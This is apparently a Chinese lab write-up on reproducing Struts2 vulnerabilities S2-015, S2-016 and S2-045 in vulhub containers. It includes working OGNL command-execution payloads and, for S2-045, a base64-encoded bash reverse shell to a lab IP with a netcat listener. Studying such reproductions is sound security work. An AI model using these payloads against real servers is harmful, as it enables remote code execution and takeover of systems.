Struts2漏洞 - Struts2-015 Struts2-016 Struts2-045

news2024/11/20 20:43:35

文章目录

  • Struts2简介
  • Struts2历史漏洞
  • Struts2历史漏洞发现
    • Struts2框架识别
  • Struts2历史漏洞利用
    • Struts2-015
      • 漏洞简介
      • 影响范围
      • 环境搭建
      • 漏洞复现
    • Struts2-016
      • 漏洞简介
      • 影响范围
      • 环境搭建
      • 漏洞复现
    • Struts2-045
      • 漏洞简介
      • 影响范围
      • 环境搭建
      • 漏洞复现

Struts2简介

Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web 应用的开源MVC框架,主要提供两个版本框架产品: Struts 1和Struts2;Struts2是一个基于
MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。

Struts2历史漏洞

漏洞编号CVE编号影响版本发送数据实现功能
S2-001CVE-2007-4556Struts 2.0.0-2.0.8POST请求发送数据;默认参数为:username,password获取WEB路径,任意命令执行和反弹shel
S2-003Struts 2.0.0-2.0.11.2GET请求发送数据任意命令执行
S2-005CVE-2010-1870Struts 2.0.0-2.1.8.1GET请求发送数据获取WEB路径,任意命令执行
S2-007CVE-2012-0838Struts 2.0.0-2.2.3POST请求发送数据;默认参数为:username,password任意命令执行和反弹shell
S2-008CVE-2012-0391Struts 2.1.0-2.3.1GET请求发送数据任意命令执行和反弹shell
S2-009CVE-2011-3923Struts 2.0.0-2.3.1.1GET请求发送数据,URL后面需要请求参数名; 默认参数: key任意命令执行和反shell
S2-012CVE-2013-1965StrutsShowcaseApp 2.0.0-2.3.13GET请求发送数据,参数直接添加到URL后面; 默认参数:name任意命令执行和反弹shell
S2-013/S2-014CVE-2013-1966Struts 2.0.0-2.3.14.1GET请求发送数据获取WEB路径,任意命令执行,反弹shell和文件上传
S2-015CVE-2013-2135Struts 2.0.0-2.3.14.2GET请求发送数据任意命令执行和反弹shell
S2-016CVE-2013-2251Struts 2.0.0-2.3.15GET请求发送数据获取WEB路径,任意命令执行,反弹shell和文件上传
S2-019CVE-2013-4316Struts 2.0.0-2.3.15.1GET请求发送数据获取WEB路径,任意命令执行,反弹shell和文件上传
S2-020CVE-2014-0094Struts 2.0.0–2.3.16GET请求发送数据任意命令执行,反弹shell和文件上传
S2-029CVE-2016-0785Struts 2.0.0-2.3.24.1(除了2.3.20.3)POST请求发送数据,需要参数; 默认参数:message任意命令执行和反弹shell
S2-032CVE-2016-3081Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)GET请求发送数据获取WEB路径,任意命令执行和反弹shell
S2-033CVE-2016-3087Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)GET请求发送数据任意命令行和反弹shell
S2-037CVE-2016-4438Struts 2.3.20-2.3.28.1GET请求发送数据获取WEB路径,任意命令执行和反弹shell
S2-045CVE-2017-5638Struts 2.3.5-2.3.31,2.5-2.5.10POST请求发送数据,不需要参数获取WEB路径,任意命令执行,反弹shel和文件上传
S2-052CVE-2017-9805Struts 2.1.2-2.3.33,2.5-2.5.12POST请求发送数据,不需要参数任意命令执行,反弹shell和文件上传
S2-053CVE-2017-12611Struts 2.0.1–2.3.33,2.5–2.5.10GET请求发送数据任意命令执行,反弹shell
S2-057CVE-2018-11776Struts 2.3–2.3.34,2.5–2.5.16GET请求发送数据任意命令执行,反弹shell
S2-059CVE-2019-0230Struts 2.0.0-2.5.20POST请求发送数据任意命令执行

Struts2历史漏洞发现

Struts2框架识别

  1. 通过网页后缀来进行判断,如 .do 或者 .action

  2. 通过 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为true。

  3. 通过页面回显的错误消息来判断,页面不回显错误消息时则无效。

  4. 通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。
    如:原始 URL 为 https://xxx.com/ 则检测所用的 URL 为 https://xxx.com/?actionErrors=1111

如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:

1、 页面直接出现 404 或者 500 等错误。

2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。

3、 页面的内容结构发生了明显的改变。

4、 页面发生了重定向。

Struts2历史漏洞利用

Struts2-015

漏洞简介

漏洞编号:S2-015
CVE编号:CVE-2013-2134漏洞/CVE-2013-2135漏洞

这个漏洞有两种,一种:

在Struts2中没有对Action的名称没有进行转义和白名单检查所造成ognl表达式被解析,从而执行恶意代码.其中一个场景是当action的name配置为通配符时,可通过访问.action来传入ognl表达式,并在加载jsp文件时触发执行.漏洞原理跟S2-012类似,S2-012利用的重定向类型,S2-015利用的Action的名称.

第二种:

 当\$和%字符组合使用时,ognl表达式会被TextParseUtil.translateVariables二次执行.
<action name="Helloworld" class="org.test.HelloworldAction">
 <result name="success" type="httpheader">
  <param name="headers.foobar">\${message}</param>
 </result>
</action>

影响范围

影响版本范围为:

S2.0.0-2.3.14.2

环境搭建

vulhub

进入到vulhub-master目录下

ls 
cd strtus2 
ls 
cd s2-015 
ls 
docker-compose up -d

查看是否搭建成功。

docker ps

访问靶场地址,如图即可搭建成功

http://ip:port

漏洞复现

payload

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),#q}

payload url编码

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())%2C%23q%7D.action

使用burp抓包,插入payload,执行了’whoami’并返回到了页面

使用工具进行命令执行

Struts2-016

漏洞简介

原理:问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。

漏洞编号:S2-016
CVE编号:CVE-2013-2251

影响范围

Struts 2.0.0 – 2.3.15

环境搭建

vulhub

进入到vulhub-master目录下

ls 
cd strtus2 
ls 
cd s2-016 
ls 
docker-compose up -d

漏洞复现

poc测试

/index.action?redirect:%25%7B5*5%7D

执行返回了结果,说明存在漏洞

使用工具进行命令执行。

Struts2-045

漏洞简介

漏洞编号:S2-045
CVE编号:cve-2017-5638
安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的严重漏洞,定级为高风险

在使用基于 Jakarta 插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令。

影响范围

影响版本范围为:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10

环境搭建

ls 
cd strtus2 
ls 
cd s2-045 
ls 
docker-compose up -d

访问靶场地址

http://192.168.88.128:8080/doUpload.action

漏洞复现

  1. 随意上传一个文件并抓包
  2. 修改Content-Type为以下内容
"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

xxx='multipart/form-data’主要是让struts程序content_type.contains(“multipart/form- data”)判断为true

反弹shell payload

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMC85OTk5IDA+JjE=|base64 -d|bash -i').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMC85OTk5IDA+JjE=

#为反弹shell的bach命令

使用burp抓包,修改content-type字段为反弹shell payload

打开攻击机端口监听

nc -lvvp 9999

即可拿到靶机权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/106345.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

制造管理系统在企业生产中的应用——百数制造系统

随着经济全球化程度的加深&#xff0c;企业对信息化的需求大大增加&#xff0c;对信息的集成度和管理要求也更加严格&#xff0c;信息化已经成为制造企业持续提升核心竞争力的必然趋势。数字化的制造管理系统在多年前一出现就赢得不少企业管理者的认可&#xff0c;再加上数字化…

Spark的宽窄依赖

依赖关系 RDD会不断进行转换处理&#xff0c;得到新的RDD 每个RDD之间就产生了依赖关系 窄依赖 一个Stage内部的计算都是窄依赖的过程&#xff0c;全部在内存中完成 定义&#xff1a;父RDD的一个分区的数据给子RDD的一个分区【不需要调用Shuffle的分区器】 特点&#xff1a; …

浅谈ReentrantLock的公平锁和非公平锁的区别

前言 最近在看java并发编程这本书&#xff0c;已经看了点ReentrantLock的源码&#xff0c;以及之前有面试官问&#xff0c;公平锁和非公平锁有啥区别&#xff0c;我就只是从源码层面说了一下区别&#xff0c;但在性能上也有区别&#xff0c;今天就来说道说道。 公平与非公平 …

Exponentiation

Exponentiation is a mathematical operation, written as bn, involving two numbers, the base b and the exponent or power n, and pronounced as “b (raised) to the (power of) n”.[1] When n is a positive integer, exponentiation corresponds to repeated multipli…

Mac卸载mysql并重新安装mysql

一、Mac卸载mysql 1、在系统偏好设置找到MySQL服务—>停止 2、打开终端 sudo rm /usr/local/mysql sudo rm -rf /usr/local/var/mysql sudo rm -rf /usr/local/mysql* sudo rm -rf /Library/StartupItems/MySQLCOM sudo rm -rf /Library/PreferencePanes/My* vim /etc/ho…

财务分析和经营分析有什么区别和联系

财务分析是基础&#xff0c;经营分析是建立在财务分析基础之上的专项分析。财务分析做诊断&#xff0c;经营分析要治病。财务分析旨在通过财务指标发现和洞察问题&#xff0c;经营分析针对财务分析发现的问题进行深入的重点分析&#xff0c;以解决最终问题为目标。 财务分析 -…

世界上最伟大最邪恶的软件发明

有这么一个伟大而“邪恶”的软件发明&#xff0c;它被安装在超过10亿台电脑中&#xff0c;每天被使用超过3000万次。世界上几乎每个组织都在使用它&#xff0c;不仅有大大小小的公司&#xff0c;还有企业家、艺术家、非营利组织、学校、政府和宗教领袖&#xff0c;它已经成了公…

Allegro如何翻转PCB视图操作指导

Allegro如何翻转PCB视图操作指导 Allegro可以翻转PCB的视图,利于查看和检查,如下图 翻转前:器件和走线在bottom层 翻转后:走线和器件仍然在bottom层,但是视图翻转了 具体操作如下

高等数学(第七版)同济大学 习题11-2 个人解答

高等数学&#xff08;第七版&#xff09;同济大学 习题11-2 函数作图软件&#xff1a;Mathematica 1.设L为xOy面内直线xa上的一段&#xff0c;证明&#xff1a;∫LP(x,y)dx0.\begin{aligned}&1. \ 设L为xOy面内直线xa上的一段&#xff0c;证明&#xff1a;\int_{L}P(x, \ …

【运维有小邓】Active Directory的NTFS权限报表程序

使用此简化的NTFS权限工具分析和优化共享权限和访问控制列表&#xff08;ACL&#xff09;。 ADManager Plus是我们的Active Directory管理和报表解决方案&#xff0c;可以兼用作共享文件夹权限报表工具。它提供预定义的报表&#xff0c;以查看&#xff0c;分析和修改NTFS并共享…

CSS -- 07. CSS3新特性汇总(属性选择器,结构伪类,伪元素,过渡效果,动画,2D3D转换效果)

文章目录CSS 3的新特性1 CSS 3的现状2 属性选择器3 结构伪类选择器3.1 选择第n个孩子3.2 nth-child(n)3.3 nth-of-type()3.4 nth-child和nth-of-type的区别3.5 结构伪类选择器小结4 伪元素选择器4.1 案例&#xff1a;经过盒子显示遮罩层4.2 伪元素清除浮动5 CSS 3盒子模型6 CSS…

比较叶绿体基因组提供海草适应性进化新见解

一、摘要 海草是生活在热带和亚热带地区的海洋开花植物&#xff0c;所有海草物种都是从陆地单子叶植物进化而来的&#xff0c;是研究植物对海洋环境适应的重要材料。本研究对三个鳗草属海草的叶绿体基因组&#xff08;cpGenomes&#xff09;进行测序&#xff0c;分析、比较三者…

Python图形用户界面(GUI)编程之wxPython入门

图形用户界面主要是方便用户操作&#xff0c;Python开源的GUI类库还是蛮多的&#xff0c;这里介绍一款在Python语言中的一套优秀的GUI图形库&#xff0c;而且是跨平台的&#xff0c;现今支持的平台有&#xff1a;32/64位微软Windows操作系统、大多数Unix或类Unix系统、苹果Mac …

如何解密PDF文件?这些解密方法快来收藏

有时候我们为了确保PDF文档不被他人随意查看&#xff0c;会对文档进行加密操作。但如果需要给某位同事查看的话&#xff0c;就需要每次输入密码才能查看文档&#xff0c;那你们知道PDF文档解密怎么弄吗&#xff1f;今天给大家分享几种实用的PDF解密技巧&#xff0c;有需要的小伙…

同为(TOWE)远程智能防雷预警监测——交直流遥信防雷配电柜

当前&#xff0c;社会各领域中各类先进的电子仪器广泛分布于每一个角落&#xff0c;由于高精尖电子设备的高度集成化&#xff0c;其耐压水平普遍较低&#xff0c;导致雷电流、浪涌侵入设备的风险越来越高&#xff0c;故需要在重要设备前端加装浪涌保护器&#xff08;SPD&#x…

vue3项目打包部署到Tomcat(亲测有效)

首先&#xff0c;要确保电脑上已经安装了jdk&#xff0c;还有Tomcat&#xff0c;而且都安装正确。 jdk下载与安装教程&#xff08;win10&#xff09; Tomcat 9.0 安装及配置教程(win10系统) Vue项目在VScode里面可以通过npm run serve可以正常运行。 下面是打包部署到tomca…

单体优先的微服务架构

作者&#xff1a;Martin Fowler 译者&#xff1a;林宁 当听说有团队在使用微服务架构时候&#xff0c;我注意到了一些规律&#xff1a; 几乎所有成功应用微服务的系统&#xff0c;都来自于一个过大单体项目拆分而来。几乎所有我听到过一开始就选择使用微服务架构的系统&#x…

【软件测试】测试开发?开发一个自动化测试系统如何做?

目录&#xff1a;导读前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09;前言 当我们开始分析一个…

ADI Blackfin DSP处理器-BF533的开发详解67:PCM的播放(含源码)

硬件准备 ADSP-EDU-BF533&#xff1a;BF533开发板 AD-HP530ICE&#xff1a;ADI DSP仿真器 软件准备 Visual DSP软件 硬件链接 代码实现功能 代码实现了打开代码工程目录下的“test.snd”文件&#xff0c;并读取 6MB 的数据到内存中&#xff0c;然后将内存中的数据进行循环…

C语言重点解剖第17课笔记

1.预处理阶段&#xff0c;先去注释&#xff0c;再宏替换。所以宏替换不能用于去注释。 #define bsc //就变成了一个空的宏。(//在这里面本来就是注释&#xff0c;只是注释后面的内容为空) 2.宏定义并不是简单的无脑替换。 printf(" ")中&#xff0c;双引号里面的东…